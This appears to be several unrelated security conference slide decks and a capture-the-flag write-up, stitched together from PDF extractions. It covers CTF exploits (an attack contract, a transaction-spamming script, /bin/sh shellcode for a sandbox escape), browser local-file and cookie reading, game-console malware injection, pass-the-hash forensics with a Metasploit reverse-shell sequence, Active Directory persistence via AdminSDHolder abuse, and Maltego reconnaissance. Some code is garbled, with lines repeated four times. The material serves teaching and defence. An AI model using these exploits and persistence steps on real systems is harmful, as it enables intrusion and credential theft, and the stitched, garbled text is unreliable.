M = Matrix(RationalField(), 23, 23)
for i in xrange(22):
M[i, i] = p
M[22, i] = t[i]
M[22, 22] = 1 / (2 ** (k + 1))
def babai(A, w):
''' http://sage-support.narkive.com/HLuYldXC/closest-vector-from-a-
lattice '''
BlockChain
EOSGame
For smallBlind and bigBlind , the expected reward is greater than our cost, so we just need
to write a sciprt to call smallBlind and bigBlind multiple times.
C = max(max(row) for row in A.rows())
B = matrix([list(row) + [0] for row in A.rows()] + [list(w) + [C]])
B = B.LLL(delta=0.9)
return w - vector(B.rows()[-1][:-1])
closest = babai(M, vector(u + [0]))
return (closest[-1] * (2 ** (k + 1))) % p
for i in xrange(5):
t = ast.literal_eval(f.readline().strip())
u = ast.literal_eval(f.readline().strip())
alpha = solve_hnp(t, u)
recv_until(f, 'number: ')
s.send(str(alpha) + '\n')
t = telnetlib.Telnet()
t.sock = s
t.interact()
def run():
myNonce = runweb3.eth.getTransactionCount(
Web3.toChecksumAddress(main_account), "pending")
print('nonce', myNonce)
for i in range(400):
transaction_dict = {
'from': Web3.toChecksumAddress(main_account),
'to': Web3.toChecksumAddress(constract),
'gasPrice': 10000000000,
'gas': 50000,
'nonce': None,
'value': 0,
'data': "0x70984e97" # "0xe2550156"
}
transaction_dict["nonce"] = myNonce + i
r = runweb3.eth.account.signTransaction(transaction_dict,
private_key)
try:
runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
except Exception as e:
print("error1", e)
Fake3D
The turingTest modifier is not bullet-proof, if the Fake3D contract is called during the
constructor of another contract, then the turingTest can still be passed. We leveraged this to
earn ourselves enough funds. (See the contract below.) Also there's some pitfalls inside the
WinnerList contract. We cannot call CaptureTheFlag from arbitrary accounts since there's
a hidden check which checks if the tx.origin ends with b143 inside that contract. So we
managed to get one which fulfills the requirement and used it to get the flag.
Attack contract:
MISC
IRC
continue
return
print("Done", i)
pragma solidity ^0.4.24;
import "./Contract.sol";
contract Attack {
using SafeMath for *;
constructor () public {
Fake3D f = Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) /
(now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(address(this))))) /
(now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288) {
for(int i = 0; i < 150; i++) {
f.airDrop();
}
}
}
}
easysandbox
Since the scf.so hooks __libc_start_main , we could simply build a static program which
removes all the libc dependency and prevents the sandbox from being effective.
// build with gcc -o exp -nostdlib solv.S
#define __NR_exit 60
#define __NR_execve 59
.code64
.globl _start
_start:
lea path, %rdi
lea args, %rsi
xor %rdx, %rdx
mov $__NR_execve, %rax
syscall
mov $__NR_exit, %rax
syscall
.data
path: .asciz "/bin/sh"
args:
.long path
.long 0 | pdf |
© 2013 NSFOCUS
www.nsfocus.com
nsfocus.com
www.nsfocus.com
nsfocus.com
瀏覽器和本地域
public
於暘
綠盟科技研究院
Who am I
@tombkeeper on twitter
Researcher @NSFOCUS Security Labs
SCADA/ICS security research
Focus on: APT/0-day attacks detection
Vulnerability research
Exploit technology
Some other geek things
流覽器的域
域的意義:數據隔離
許可權隔離(尤其是
IE)
跨域漏洞:繞過域隔離
特殊的域:file://
IE對域的分類安全設置
主要內容
從網路域探測本地路徑
從網路域讀取本地檔
從本地域讀取本地檔
從網路域探測本地路徑
function probeImage( url )
function probeImage( url )
function probeImage( url )
function probeImage( url )
{{{{
var img = new Image();
var img = new Image();
var img = new Image();
var img = new Image();
img.onerror = function(){
img.onerror = function(){
img.onerror = function(){
img.onerror = function(){
alert( url + "exists");
alert( url + "exists");
alert( url + "exists");
alert( url + "exists");
};
};
};
};
img.onload = function(){
img.onload = function(){
img.onload = function(){
img.onload = function(){
alert( url + "do
alert( url + "do
alert( url + "do
alert( url + "doeeees not exist");
s not exist");
s not exist");
s not exist");
}
}
}
}
img.src = url;
img.src = url;
img.src = url;
img.src = url;
}}}}
曾經對file://有效:
利用預設共用路徑繞過檢查
function probeImage( url )
function probeImage( url )
function probeImage( url )
function probeImage( url )
{{{{
var img = new Image();
var img = new Image();
var img = new Image();
var img = new Image();
img.onerror = function(){};
img.onerror = function(){};
img.onerror = function(){};
img.onerror = function(){};
img.onload = function(){alert(
img.onload = function(){alert(
img.onload = function(){alert(
img.onload = function(){alert(‘‘‘‘hello pony
hello pony
hello pony
hello pony');}
');}
');}
');}
img.src = url;
img.src = url;
img.src = url;
img.src = url;
}}}}
var qqid = "
var qqid = "
var qqid = "
var qqid = "10001
10001
10001
10001";
";
";
";
var qqdatapath = "\\\\127.0.0.1\\C$" +
var qqdatapath = "\\\\127.0.0.1\\C$" +
var qqdatapath = "\\\\127.0.0.1\\C$" +
var qqdatapath = "\\\\127.0.0.1\\C$" +
"\\Program Files\\Tencent\\QQ2009\\Users\\";
"\\Program Files\\Tencent\\QQ2009\\Users\\";
"\\Program Files\\Tencent\\QQ2009\\Users\\";
"\\Program Files\\Tencent\\QQ2009\\Users\\";
probeImage(qqdatapath + qqid + "\\Image\\
probeImage(qqdatapath + qqid + "\\Image\\
probeImage(qqdatapath + qqid + "\\Image\\
probeImage(qqdatapath + qqid + "\\Image\\100
100
100
100");
");
");
");
IE + Windows XP有效
圖片物件 + onerror/onload:
從網路域探測本地路徑
DEMO
利用預設共用路徑繞過檢查
2013年5月2日美國勞工部網站被入侵後植入
的惡意程式碼中也使用了類似技巧來探測用
戶端是否安裝了某些殺毒軟體
利用的是腳本元素+異常處理
該方法至少對IE9 + Windows 7仍有效
判斷使用者是否使用了某軟體
——避開安全軟體
判斷用戶是否是某些IM帳號的使用者
——精確的漏洞攻擊
不依賴Cookie等手段的用戶追蹤
——穿上馬甲照樣認識你
暴力枚舉或字典探測使用者IM帳號等
——理論上可以……
允許路徑探測的威脅
從網路域讀取本地檔
<Script Language="JavaScript"
<Script Language="JavaScript"
<Script Language="JavaScript"
<Script Language="JavaScript"
src="
src="
src="
src="file:///C:/Documents and
file:///C:/Documents and
file:///C:/Documents and
file:///C:/Documents and
Settings/Administrator/Cookies/administ
Settings/Administrator/Cookies/administ
Settings/Administrator/Cookies/administ
Settings/Administrator/Cookies/administ
[email protected][2].txt
[email protected][2].txt
[email protected][2].txt
[email protected][2].txt"></Script>
"></Script>
"></Script>
"></Script>
<Script Language="JavaScript">
<Script Language="JavaScript">
<Script Language="JavaScript">
<Script Language="JavaScript">
alert(sessionid);
alert(sessionid);
alert(sessionid);
alert(sessionid);
</Script>
</Script>
</Script>
</Script>
曾經可以直接將本地檔作為腳本源:
利用預設共用路徑繞過檢查
<Script Language="JavaScript"
<Script Language="JavaScript"
<Script Language="JavaScript"
<Script Language="JavaScript"
src="
src="
src="
src="\\\\127.0.0.1\\C$\\Documents and
\\\\127.0.0.1\\C$\\Documents and
\\\\127.0.0.1\\C$\\Documents and
\\\\127.0.0.1\\C$\\Documents and
Settings\\Administrator\\Cookies\\admin
Settings\\Administrator\\Cookies\\admin
Settings\\Administrator\\Cookies\\admin
Settings\\Administrator\\Cookies\\admin
[email protected][2].txt
[email protected][2].txt
[email protected][2].txt
[email protected][2].txt"></Script>
"></Script>
"></Script>
"></Script>
<Script Language="JavaScript">
<Script Language="JavaScript">
<Script Language="JavaScript">
<Script Language="JavaScript">
alert(sessionid);
alert(sessionid);
alert(sessionid);
alert(sessionid);
</Script>
</Script>
</Script>
</Script>
2011年8月MS11-057後,IE已經對Cookie檔案名隨機化
IE + Windows XP有效:
從網路域讀取本地檔
DEMO
能讀取什麼
任何能通過腳本語法檢查的文字檔
譬如某些軟體的設定檔
var x = "abcd";
var x = "abcd";
var x = "abcd";
var x = "abcd";
x = "abcd"
x = "abcd"
x = "abcd"
x = "abcd"
x = 123456
x = 123456
x = 123456
x = 123456
• 本地跨域漏洞到底有什麼用?
– CVE-2002-0189
– CVE-2002-1187
– CVE-2002-1688
– CVE-2003-1328(MS03-004)
– CVE-2005-0054(MS05-014)
– CVE-2006-3643(MS06-044)
– ……
從本地域讀取本地檔
通過iframe、window等對象,
域內腳本可以讀取任意同域檔內容
——對本地域是否仍應如此?
從本地域讀取本地檔
DEMO
• 敏感檔,無論什麼格式
– 檔內容如包含\0會截斷
– 理論上可以寫出一個“反彈”的HTML竊密木馬
• 某些包含模組位址資訊的日誌:對抗ASLR
– Windows自身已經無任何含位址資訊的日誌
– 一些協力廠商應用程式仍然包含模組位址
• 建議:將檔案名或目錄隨機化
讀取本地檔內容的威脅
目前各流覽器的情況
遠程讀文件 遠端探測文件 本地讀檔
Firefox
×
×
×
Chrome
×
×
×
IE
√
√
用戶確認
Safari
×
×
√
Opera
×
×
√
——所以,不要用Safari或Opera作為HTML
檔的預設關聯程式
謝謝! | pdf |
MALWARE MIGRATING TO
GAMING CONSOLES
Embedded devices, an AntiVirus-free safe hideout for Malware
Ahn Ki-Chan - Hanyang University, Undergraduate
Ha Dong-Joo - AhnLab Inc., Security Researcher
About
Introduction
- Embedded systems(gaming consoles, smartphones, etc.)
have enough hardware for malware to survive and
perform it's job
- There are not so many publicly disclosed issues of
malware on these devices which make people think
that they are safe
- The possibilities of malware on embedded systems
and the resulting effects will be shown in this
presentation with some real world examples,
along with some possible defenses
About
Index
Background Knowledge
- The pirate scene of Gamine consoles and Smartphones
- The current state of malware on embedded devices
- The mindset of the general public
The attacker's point of view
- Gaming consoles as an attacking tool - Hacking with NDS
- Malware on Console Gaming systems - Malware on Wii
- Malware injection on Smartphone applications - Malware on
Smartphones
Preparation - Our defenses
- Manufacturers : Steps to take when designing a new device
- Service, Security companies : Measurements in Software or
Policies
- Users : Precautions for the general users
About
Background Knowledge
The pirate scene of
Gamine consoles and Smartphones
Background Knowledge
Payed software being illegally downloaded
- Most embedded devices implement anti pirate
Measures by some means, but these protections are
eventually bypassed
Background Knowledge - The pirate scene of Gamine consoles and Smartphones
The distribution of illegal software
- Just like PC software, illegal software is
Being distributed without any restrictions via P2P,
torrents, web storage
- Easily accessible by the general public
Background Knowledge - The pirate scene of Gamine consoles and Smartphones
The current state of malware on
embedded devices
Background Knowledge
Malware on Gaming Consoles
- Disguises itself as a useful homebrew application,
and lures users to install it
- Disguises itself as an essential bypassing tool or
crack, and upon installation, eventually
causing havoc or wrecking the device
Background Knowledge - The current state of malware on embedded devices
Malware on Smartphones
- Worm that targets jailbroken iphones using a
default password
- Traditional malware techniques incorporated
in Windows Mobile and Blackberry
- Social Engineering worm that collects phone
information on Symbian Smartphones
- Trojaned Windows Mobile Games
- Toaster Rootkit
- Android Rootkit
Background Knowledge - The current state of malware on embedded devices
The mindset of the general public
Background Knowledge
User’s thoughts of malware on embedded devices
- Users not being suspicious just by the fact that
that they're using ‘normal’ apps that don’t look
'fishy'
- Most people do not even give a second
thought before installing downloaded software,
and merely just check that the application works
Background Knowledge - The mindset of the general public
However...
- These devices are capable of bringing similar
negative effects of PC malware, and the boundary of
these devices and the PC is getting very thin due
to the evolution of hardware
- Most recent Gaming Consoles contain hardware to
connect to the network, so an almost ideal
environment if provided for malware to survive and
perform it's task.
Background Knowledge - The mindset of the general public
The mindset of an attacker
Gaming Consoles as an
attacking Tool
The attacker's point of view
The hardware and software development environment
- Most embedded devices contain a high quality CPU,
I/O devices, and network devices
- SDKs not officially provided by the manufacturer,
but users can create legit software that runs on
the device(via homebrew) with a custom development
environment
The attacker's point of view - Gaming console acting like a computer
Hacking with NDS
The attacker's point of view - Gaming console acting like a computer
HOME AP
NDS
Desktop PC
Notebook
Smart
phone
Internet
Attacker
Web server
Web server
Hacking with NDS
- Attacking and taking control of a PC
- Demo : Using NDS to attack a PC on the network with
a public remote exploit
The attacker's point of view - Gaming console acting like a computer
Hacking with NDS
- Attacking the network
- Demo : Using NDS to bring down a network
The attacker's point of view - Gaming console acting like a computer
Hacking with NDS
- Injecting malicious code in network packets
- Demo : Using NDS to inject malicious code by
modifying packets
The attacker's point of view - Gaming console acting like a computer
Malware on Console Gaming systems
The attacker's point of view
Piracy in the gaming industry
2nd place among
the current gaming
console systems,
closely following
PSP
The inner workings of games running on Wii
- executables files are files with .dol extension
- they are essentially a stripped down version of an
elf file
- system menu -> apploader -> .dol
- .dol files(and sometimes .rel files) contain all
code needed for the game to run
The attacker's point of view - Malware injection on existing games
How custom code can be injected
- Merge 2 dol files
- Update header information
- Inject code that
transfers execution to
the game .dol after the
execution of the
injected .dol
- Fix a few problematic
parts in the binary
The attacker's point of view - Malware injection on existing games
How custom code can be injected
- Demo : POC of malware injection on Nintendo Wii
games
The attacker's point of view - Malware injection on existing games
Malware on Wii
The attacker's point of view - Malware injection on existing games
HOME AP
Wii
Desktop PC
Notebook
Smart
phone
Internet
Attacker
Web server
Web server
Malware on Wii
- Demo : Malware(attack remote host) in live
action while the game is playing
The attacker's point of view - Malware injection on existing games
- Modifying the game files and injecting
custom code
- Demo : Malware(network down) in live
action while the game is playing
Malware on Wii
- Demo : Malware(network down) in live
action while the game is playing
The attacker's point of view - Malware injection on existing games
- Modifying the game files and injecting
custom code
- Demo : Malware(network down) in live
action while the game is playing
Malware on Wii
- Demo : Malware(attack ap & dns pharming) in live
action while the game is playing
The attacker's point of view - Malware injection on existing games
- Modifying the game files and injecting
custom code
- Demo : Malware(network down) in live
action while the game is playing
Malware injection on
Smartphone applications
The attacker's point of view
Malware on iPhone
- Executables are Mach-O binaries
- Lots of malware papers on MAC viruses are public
The attacker's point of view - Malware injected into Smartphone applications
Malware(attack remote host) in live
action while the game is playing
Malware on Android
The attacker's point of view - Malware injected into Smartphone applications
- Modifying the game files and injecting
custom code
- Demo : Malware(network down) in live
action while the game is playing
How to Defend
Defenses
- Manufacturers : Steps to take when designing a new
device
- Security Companies : Measurements in Software or
Policies
- Users : Precautions for the general users
Preparation - Our defenses
Conclusion
Conclusion
- There are no doubts that malware can run on
embedded devices, and there may already be some
running in the wild
- These malware can be equally strong as those on PC,
so one must be fully aware of their potential
- Not only Gaming Consoles of Smartphones, but any
other future embedded device may become a target,
so users should be careful and be prepared
Preparation - Our defenses
Download Games at your own risk!
References
- Google
http://google.com/
- WiiBrew
http://wiibrew.org/wiki/Main_Page
- GBATemp
http://gbatemp.net
- devkitPro.org
http://www.devkitpro.org/
- kkamagui 프 로 그 래 밍 세 상
http://kkamagui.tistory.com/
- POC
http://www.powerofcommunity.net/
Preparation - Our defenses | pdf |
FORENSIC ARTIFACTS FROM A
PASS THE HASH (PTH) ATTACK
BY: GERARD LAYGUI
DISCLAIMER: THE VIEWS AND
OPINIONS EXPRESSED IN THIS
PRESENTATION ARE THOSE OF THE
AUTHOR’S AND DOES NOT
NECESSARILY REPRESENT THE
OFFICIAL POLICY OR POSITION OF
THE COMPANY THAT THE AUTHOR
WORKS FOR.
WHAT IS A HASH?
A HASH FUNCTION IS ANY FUNCTION THAT CAN
BE USED TO MAP DIGITAL DATA OF ARBITRARY SIZE
TO DIGITAL DATA OF FIXED SIZE. IN THE CASE OF
WINDOWS, A PASSWORD IS STORED IN EITHER A
LANMAN (LM) HASH OR NT LAN MANAGER (NTLM)
HASH FORMAT.
WHERE ARE HASHES STORED?
• The Security Accounts Manager (SAM) database.
• Local Security Authority Subsystem (LSASS) process
memory.
• Domain Active Directory Database (domain
controllers only).
• The Credential Manager (CredMan) store.
• LSA Secrets in the registry.
HASH EXAMPLES
• Plaintext = password
• LM Hash
E52CAC67419A9A224A3B108F3FA6CB6D
• NTLM Hash
8846F7EAEE8FB117AD06BDD830B7586C
PASS THE HASH (PTH)
“Pass the hash is a hacking technique that allows an
attacker to authenticate to a remote server/service by
using the underlying NTLM and/or LanMan hash of a
user's password, instead of requiring the associated
plaintext password.”
In this case, hash == password
DEMO ENVIRONMENT - LOGGING CHANGES
• Audit logon events - Success & Failure
• Audit account management - Success & Failure
• Audit account logon events - Success & Failure
• Audit process tracking - Success & Failure
• Audit system events - Success & Failure
• Increase log file sizes
Microsoft Audit Policy Recommendations -
https://technet.microsoft.com/en-us/library/dn487457.aspx
DEMO DOMAIN
Client
Windows
7
Client 2
Member
Server
W2K8 R2
Member
Server 2
W2K12
Domain
Controller
ImaUser
ImaDomainAdmin
S-1-5-
21domain-
500
S-1-5-
21domain-
500
Windows 2012 Native Mode
Domain Name: OHNOES.INTERNAL
PASS THE HASH ATTACK SEQUENCE
Compromise
Elevate Privilege
Scrape Hashes
Recon
Leave Backdoor (Optional)
Crack Hashes (Optional)
Pass The Hash
Pass The Hash
Recon
Scrape Hashes
Elevate Privilege
Extract Active
Directory
DEMO PASS THE HASH
FORENSIC EVIDENCE
• Volatile
• At Least - Network (pcap, routes, netstat),
Process List
• Best - RAM Memory Captures, hiberfil.sys
• VMWare - Suspend VM, use vmem file
• Non-Volatile
• At Least - Event Logs, Registry, Systeminfo
• Best - Disk Images
• VMWare - Use VMDK
ANALYSIS TOOLS - VOLATILE
• Dump Memory
• HBGary - FDPro
• Mandiant Memoryze
• Analyze Memory
• Volatility (Free)
• HBGary Responder Pro
ANALYSIS TOOLS – NON-VOLATILE
• Creating Disk Images
• Linux dd
• Encase
• FTK
• Analyze Disk Images
• The Sleuth Kit / Autopsy
• Log2Timeline
• Encase
• FTK
COMPROMISE
• Windows Security Event Log (Process Audit Success)
• Security Event ID 4688 Process Creation
COMPROMISE
• Prefetch – Disk Artifact (Note: No artifacts if using
a SSD or if using Windows Server OS)
• Time stamps reveal when a program was launched
COMPROMISE
• Shim Cache
• Registry – regripper
• Memory – volatility (shimcache switch)
COMPROMISE
• Memory - Volatility
• Malfind command
BACKDOOR
• Windows Security Event Log - Persistence
• Security Event ID 4720 - User account created
• Security Event ID 4732 – User added to groups
BACKDOOR
• Registry (Regripper)
• Run Keys
•
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Run
•
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Run
• Service Install Date
PRIVILEGE ESCALATION
In order to scrape hashes, the attacker
needs to change security context from user
to Local System (SID S-1-5-18)
User
Administrator
LOCAL SYSTEM
PRIVILEGE ESCALATION
Using Kali after I’ve already compromised the system using a Java exploit.
meterpreter > run post/windows/gather/win_privs
meterpreter > background
msf exploit(java_signed_applet) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set SESSION 1
SESSION => 1
msf exploit(bypassuac) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(bypassuac) > set LHOST 10.1.1.251
LHOST => 10.1.1.251
msf exploit(bypassuac) > set LPORT 8088
LPORT => 8088
msf exploit(bypassuac) > exploit
meterpreter > getuid
Server username: OHNOES\ImaUser
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
PRIVILEGE ESCALATION
SCRAPING HASHES
• Service Install Process Start
SCRAPING HASHES
• Service Install Process Start
SCRAPING HASHES
Volatility – consoles command
CRACKING NT HASHES
• John The Ripper
• OCLHashCat (GPU)
• Ubuntu 14.04 - 8x AMD R9 290X can do
183528 Mh/s against NTLM, that is
183,528,000,000 tries per second*.
• Roughly 9 hours to crack an 8 character
password
RECON
Volatility – consoles or cmdscan
RECON – APT STYLE
LATERAL MOVEMENT
• Event ID 4624 – Logon / Event ID
4634 - Logoff
• Type 2 – Interactive
• Type 3 - Network Logon
• Type 10 – Remote Interactive
(RDP)
LATERAL MOVEMENT
• RDP Pivot
• Microsoft-Windows-TerminalServices-
LocalSessionManager-Operational Event ID 21
(RDP Logon)
• Microsoft-Windows-TerminalServices-
LocalSessionManager-Operational Event ID 25
(RDP Reconnect)
LATERAL MOVEMENT
• RDP Pivot Continued
• Default.rdp disk artifact
• BMC Cache (bcache22.bmc)
QUESTIONS?
This slide deck and related links for the videos will be eventually posted on:
Cybersecology.com/DEFCON2015
Big thanks to Mike Landeck for allowing me to use his site! | pdf |
▪
• Relatively Easy to Exploit
• Easily Automated
• Usually not Monitored
▪
▪
▪
▪ Kerberos
▪ Kerberos Delegation
▪
▪ Focus on High Privileges
▪ Malicious JIT Administration
▪
▪
▪
• Ticket based authentication protocol
Domain User
AS
TGS
KDC
LSASS
(KERBEROS)
ST
TGT
App Server
TGT
ST
▪
• Why?
• An application reusing user credentials
• Web server accessing a SQL DB
• How?
• Request tickets on behalf of the user
User1
Web Server
SQL Server
DC
User1
Authentication
User1
Ticket
Delegated
▪
▪
• Delegation to any service
▪
• Kerberos Only (S4U2Proxy)
• Protocol Transition (S4U2Self +
S4U2Proxy)
Domain Account
or
Local System Access
NO ACCESS
PIVOTING
PRIVILEGED
PERSISTENCE
ACLs
CONSTRAINED DELEGATION
GPO TAMPERING
BUSTED!
Pass-The-Hash
Pass-The-Ticket
BloodHound
GoFetch
Domain Admin
Enterprise Admin
Dump NTDS.dit (VSS, DRSUAPI)
Detect replication requests
from a non-DC machine
Golden ticket
Detect crafted tickets
Skeleton key (or others
backdoors)
Encryption downgrade
▪
• Accounts holding permanent high privileges serve as valuable
targets for attackers
• JIT Administration
• High privileges are required to perform an operation
• Get the required privileges for a limited amount of time
• When the time period expires, the high privileges are revoked
• Reduces the attack surface
▪
• Get administrative access for a limited time
• Perform malicious operations
• Leave no traces behind to avoid detection
▪
• Delegation scenario
• AdminSDHolder scenario 1
• AdminSDHolder scenario 2
▪
• Discretionary Access Control List (DACL)
• Access control entry (ACE)
• Object Ownership
DACL
User SID
Security Group SIDs
User Rights
Access Token
Deny ACEs
Allow ACEs
Inherited Deny ACEs
Inherited Allow ACEs
LSA Matches SIDs from
The access Token with
SIDs in the ACEs
▪
• Add a new machine account
• Set machine owner to a malicious account
• Owner can edit the ACL of the object
▪
• GPO Tampering: “Enable accounts to be trusted for
delegation”
▪
• DACL Modification:
• Add ‘GenericAll’ ACE for malicious_user on new machine
▪
• Allow delegation to ‘krbtgt’
• Request ‘Administrator’ TGT
• Remove footprints:
• Remove delegation
• Revert ACL
• Perform malicious operations
▪
• Persistence can be obtained by ACL modification of
privileged groups – such as ‘Domain Admins’
• Problem: AdminSDHolder!
▪
• SDProp overrides the ACLs of protected groups & users with
the AdminSDHolder ACL
• Runs periodically (default: 1 hour)
• Result: malicious_user loses his permission
• Protected accounts:
• Enterprise Admins
• Domain Admins
• Administrators
• …
▪
• The following groups can be excluded from the AdminSDHolder
protection:
•
Bit
Group to Exclude
Binary Value
Hexadecimal Value
0
Account Operators
0001
1
1
Server Operators
0010
2
2
Print Operators
0100
4
3
Backup Operators
1000
8
▪
• Add ACEs to excluded groups
• SDProp will not affect the new ACL
• Malicious JIT at any time!
▪
• Change the owner of the AdminSDHolder object
• Still not allowed to modify group memberships
▪
• Just before SDProp is scheduled to run
• Add malicious_user to the AdminSDHolder ACL
▪
• SDProp adds malicious ACE
to protected objects
▪
• Add malicious_user to ‘Domain Admins’ group
• Obtain administrative TGT
• Revert (erase footprints)
• Remove malicious_user from AdminSDHolder’s ACL
• Force SDProp to run: removes malicious ACE from protected groups
• Remove malicious_user from ‘Domain Admins’ group
• Entire operation can be automated to run in seconds!
▪
• GPO: ‘Enable accounts to be trusted for delegation’
• Monitor accounts trusted for delegation
• ‘AllowedToDelegateTo’ attribute
• ‘Account is sensitive and cannot be delegated’
▪
• ACL
• Owner
• Excluded groups
▪ | pdf |
Social
Networking
Special
Ops:
Extending
Data
Visualization
Tools
for
Faster
Pwnage
1
Chris Sumner | @TheSuggmeister | www.securityg33k.com
Tuesday, 3 August 2010
Disclaimer
“I am not speaking on behalf of my
employer.
The information and perspectives I
present are personal and do not
represent those of my employer.”
2
Tuesday, 3 August 2010
What yer in for…
3
Tuesday, 3 August 2010
What yer in for…
1. Intro to Social Network Analysis &
Visualization
3
Tuesday, 3 August 2010
What yer in for…
1. Intro to Social Network Analysis &
Visualization
2. Case study using Twitter & Maltego
3
Tuesday, 3 August 2010
What yer in for…
1. Intro to Social Network Analysis &
Visualization
2. Case study using Twitter & Maltego
3. Something a bit darker using facebook &
Maltego
3
Tuesday, 3 August 2010
Goals
4
Tuesday, 3 August 2010
Goals
• Overview/appreciation of possibilities in
this field
4
Tuesday, 3 August 2010
Goals
• Overview/appreciation of possibilities in
this field
• Expose you to some ideas that you can
apply to your specific situation
4
Tuesday, 3 August 2010
Who’s the talk aimed at?
5
This talk
Tuesday, 3 August 2010
Who’s the talk aimed at?
5
Data
Visualization
Social Networking Analysis
This talk
1337
n00bs
1337
Tuesday, 3 August 2010
Who’s the talk aimed at?
5
Data
Visualization
Social Networking Analysis
This talk
1337
n00bs
1337
Tuesday, 3 August 2010
Who’s the talk aimed at?
5
Data
Visualization
Social Networking Analysis
This talk
1337
n00bs
1337
Tuesday, 3 August 2010
Who’s the talk aimed at?
5
Data
Visualization
Social Networking Analysis
This talk
1337
n00bs
Y’all
probably
get it
1337
Tuesday, 3 August 2010
Who am I?
@TheSuggmeister
6
Tuesday, 3 August 2010
Who am I?
@TheSuggmeister
6
• By day
– Corporate security
Tuesday, 3 August 2010
Who am I?
@TheSuggmeister
6
• By day
– Corporate security
• By night | weekend
– Data analysis
– Data visualization
– Social Media
– DC4420
Tuesday, 3 August 2010
Who am I?
@TheSuggmeister
6
• By day
– Corporate security
• By night | weekend
– Data analysis
– Data visualization
– Social Media
– DC4420
• A strange sequence of
events led to me
appearing here
Tuesday, 3 August 2010
Social Network Analysis
+ Target Rich Environment
= Problem
= Opportunity
7
Tuesday, 3 August 2010
Social Network Analysis
Sociogram- Jacob Moreno 1933
8
Tuesday, 3 August 2010
Target Rich Environment
9
Tuesday, 3 August 2010
Target Rich Environment
• Data – ~21 exabytes per month
9
Tuesday, 3 August 2010
Target Rich Environment
• Data – ~21 exabytes per month
• Facebook – ~500 ish million users
9
Tuesday, 3 August 2010
Target Rich Environment
• Data – ~21 exabytes per month
• Facebook – ~500 ish million users
• Privacy paradox
– “I take privacy seriously”
– 89% use real names
– 61% use identifiable picture
9
Tuesday, 3 August 2010
Target Rich Environment
• Data – ~21 exabytes per month
• Facebook – ~500 ish million users
• Privacy paradox
– “I take privacy seriously”
– 89% use real names
– 61% use identifiable picture
• “I’ve got nothing to hide and Other
Misunderstandings of Privacy” – Daniel
Solove
9
Tuesday, 3 August 2010
Problem
Your anonymous searches,
aren’t all that anonymous
10
Tuesday, 3 August 2010
Problem
Your anonymous searches,
aren’t all that anonymous
10
• AOL user 4417749
• Ms. Thelma Arnold,
Lilburn Georgia
Tuesday, 3 August 2010
Opportunity
• Lots of data
• Lots of noise
11
Tuesday, 3 August 2010
Opportunity
• Lots of data
• Lots of noise
• Find “interesting” stuff a bit faster….
11
Tuesday, 3 August 2010
Opportunity
• Lots of data
• Lots of noise
• Find “interesting” stuff a bit faster….
…..by combining Data Mining/Screen Scraping,
Named Entity Recognition and Data
Visualization
11
Tuesday, 3 August 2010
Named Entity Recognition
“Parsing data to extract & classify information”
12
Tuesday, 3 August 2010
Named Entity Recognition
“Parsing data to extract & classify information”
12
“Greg bought 300,000 shares of LIGATT in 2010”
Tuesday, 3 August 2010
Named Entity Recognition
“Parsing data to extract & classify information”
12
“Greg bought 300,000 shares of LIGATT in 2010”
<ENAMEX TYPE="PERSON">Greg</ENAMEX> bought
<NUMEX TYPE="QUANTITY">300,000</NUMEX> shares of
<ENAMEX TYPE="ORGANIZATION">LIGATT</ENAMEX> in
<TIMEX TYPE="DATE">2010</TIMEX>.
Tuesday, 3 August 2010
Data Visualization
13
1. Acquire
2. Parse
3. Filter
4. Mine
5. Represent
6. Refine
7. Interact
Ben Fry
Tuesday, 3 August 2010
Data Visualization
13
1. Acquire
2. Parse
3. Filter
4. Mine
5. Represent
6. Refine
7. Interact
Ben Fry
Tuesday, 3 August 2010
Raffael Marty
Check out secviz.org
14
Tuesday, 3 August 2010
Tools
• Maltego
• Processing
• Prefuse and PrefuseFlare toolkit
• Afterglow
• DAVIX (Data Analysis & Visualization Linux)
• TouchGraph
• Vizster
• Graphviz
15
Tuesday, 3 August 2010
16
21 September 2009
What the &$#@! is
Maltego?
Tuesday, 3 August 2010
Maltego
17
Tuesday, 3 August 2010
Maltego
• An information gathering tool that allows
you to visually see relationships.
17
Tuesday, 3 August 2010
Maltego
• An information gathering tool that allows
you to visually see relationships.
• Infrastructure
– DNS, IP Addresses, URLs, MX Records
17
Tuesday, 3 August 2010
Maltego
• An information gathering tool that allows
you to visually see relationships.
• Infrastructure
– DNS, IP Addresses, URLs, MX Records
• Human
– Email, Phone…
17
Tuesday, 3 August 2010
Maltego
• An information gathering tool that allows
you to visually see relationships.
• Infrastructure
– DNS, IP Addresses, URLs, MX Records
• Human
– Email, Phone…
• Other… Extendable by design
17
Tuesday, 3 August 2010
18
www.paterva.com
Tuesday, 3 August 2010
18
25%
Discount
‘BlackHat’
www.paterva.com
Tuesday, 3 August 2010
E.G.
19
Tuesday, 3 August 2010
20
Domains
Tuesday, 3 August 2010
21
MX Records
Tuesday, 3 August 2010
Web Sites…
22
Tuesday, 3 August 2010
23
21 September 2009
Tuesday, 3 August 2010
24
21 September 2009
Tony Hawk Twitter Hunt versus
Maltego
Tuesday, 3 August 2010
25
Tuesday, 3 August 2010
26
Tuesday, 3 August 2010
“Guarded by a fearsome troll, NW from a
house where you might have to pay money
to pass & a sk8park”
27
Tuesday, 3 August 2010
28
Tuesday, 3 August 2010
29
@steven_gill
Tuesday, 3 August 2010
30
“cammo netting!
You’re a bad man”
Tuesday, 3 August 2010
31
@steven_gill
Tuesday, 3 August 2010
32
Tuesday, 3 August 2010
I wanted to see a map
33
obviously
Tuesday, 3 August 2010
Should be easy enough
• Hiders are all friends of @hidingit
• Finders all tweet @ifoundone when
they find one.
• Tony sends out “Found” tweets
with #THTH
34
Tuesday, 3 August 2010
Twitter’ll fix it
35
Tuesday, 3 August 2010
Twitter’ll fix it
35
Tuesday, 3 August 2010
